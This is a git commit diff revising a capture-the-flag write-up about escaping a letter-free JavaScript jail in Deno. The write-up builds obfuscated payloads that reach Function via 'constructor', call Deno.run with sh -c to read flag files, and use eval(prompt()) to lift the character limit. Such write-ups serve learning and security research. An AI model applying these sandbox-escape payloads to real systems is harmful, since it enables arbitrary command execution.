This commit is contained in:
caandt 2024-10-15 20:53:12 -05:00
parent 5fe47ab7ed
commit 177152d03a

View file

@ -149,7 +149,7 @@ let con = 'constructor'
eval(`_=${str_src};` + con);
```
While this works in Node.js, Deno throws an `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.
While this works in Node.js, Deno throws a `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.
We cannot overwrite an existing variable either, as there aren't any without letters. We can note that `_` is already defined when running a REPL, but that does not help us since the challenge is not run in one.
@ -204,10 +204,10 @@ function encode(s, source, var_name='_') {
}
}
if (t) result.push(`"${t}"`);
return result.join('+')
return result.join('+');
}
// over the course of the iife, we will concatenate various strings to the first argument
let args = "''+!1+!0+{}+0[0]"
let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = src1 + String;
let src3 = src2 + '6p';
@ -230,13 +230,13 @@ let body = [
`_+=$_($)+0[$$]`,
// Function("Deno.run({cmd:['ls','/']})")()
`$(${encode("Deno.run({cmd:['ls','/']})", src4)})()`
].join(',')
].join(',');
// 328 characters
let payload = `((_,$,$$)=>(${body}))(${args})`;
console.log(payload)
console.log(payload);
```
We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret cmd as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `{cmd:['sh','-c','od /*']}`, which is over the limit.
We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret `cmd` as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `sh -c "od /*"`, which is over the limit.
We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the `btoa` builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain `D` in its base64, to avoid getting `escape` (and `p` and `String`).
@ -266,17 +266,17 @@ If we notice that `btoa` is implemented in JavaScript instead of native code tho
This alone contains all of the characters we need, simplifying our payload dramatically:
```js
let args = "''+!1+!0+{}+0[0]"
let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = '' + btoa;
let body = [
`$$=(_=>_)[${encode('constructor', src1)}]`,
`$$(${encode("$=''+btoa", src1)})()`,
`$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()`
].join(',')
].join(',');
// 278 characters
let payload = `((_,$$)=>(${body}))(${args})`
console.log(payload)
let payload = `((_,$$)=>(${body}))(${args})`;
console.log(payload);
```
Now we just send our payload to the challenge and get the flag:
@ -307,16 +307,16 @@ function octal(s) {
return "'" + s.split('').map(c => c.match(/[a-zA-Z]/)
? '\\\\' + c.charCodeAt().toString(8)
: c
).join('') + "'"
).join('') + "'";
}
let args = "''+!1+!0+{}+0[0]"
let args = "''+!1+!0+{}+0[0]";
let src = eval(args);
let body = [
`_=(_=>_)[${encode('constructor', src)}]`,
`_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`,
].join(',')
].join(',');
// 219 characters
let payload = `(_=>(${body}))(${args})`
let payload = `(_=>(${body}))(${args})`;
```
@ -329,7 +329,7 @@ Looking over Deno's builtin functions, `prompt` does exactly what we want, takin
Therefore, we can just do `Function("eval(prompt())")()` and type in the rest of our payload with no restrictions. A solution using this technique is as follows:
```js
let args = "''+!1+!0+{}+0[0]"
let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = src1 + String + Number;
let src3 = src2 + '6p';
@ -337,7 +337,7 @@ let body = [
`_+=_[$=${encode('constructor', src1)}]+0[$]`,
`_+=211[${encode('toString', src2)}](31)`,
`_[$][$](${encode('eval(prompt())', src3)})()`
].join(',')
].join(',');
// 236 characters
let payload = `((_,$)=>(${body}))(${args})`;
```
@ -345,8 +345,8 @@ let payload = `((_,$)=>(${body}))(${args})`;
Testing this locally, we see that this does in fact work:
```console
$ deno dist/app.t
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+_[5]+_[10]+_[6]]+0[$],_+=211[_[5]+_[10]+_[42]+_[5]+_[6]+_[29]+_[25]+_[47]](31),_[$][$](_[4]+_[58]+_[1]+_[2]+"("+_[104]+_[6]+_[10]+_[79]+_[104]+_[5]+"())")()))(''+!1+!0+{}+0[0])
$ deno dist/app.ts
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+...
Prompt console.log('hiiiiiiiiiii')
hiiiiiiiiiii
```
@ -384,9 +384,9 @@ This doesn't actually work though, since `Function` code is evaluated in the glo
### Improving solution reliability
If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating.
If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating, and our shell command doesn't have enough time to print to the screen before the program ends.
It took me about two hours after finding a working solution before I realized this was the issue. By chance, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate.
It took me about two hours after finding a working solution before I realized this was the issue. Eventually, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate.
When executing `sh -c "cat /f*"`, Deno first needs to spawn `sh`, which then spawns `cat`. `.` is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran `ls` and `cat` separately, without using `sh`.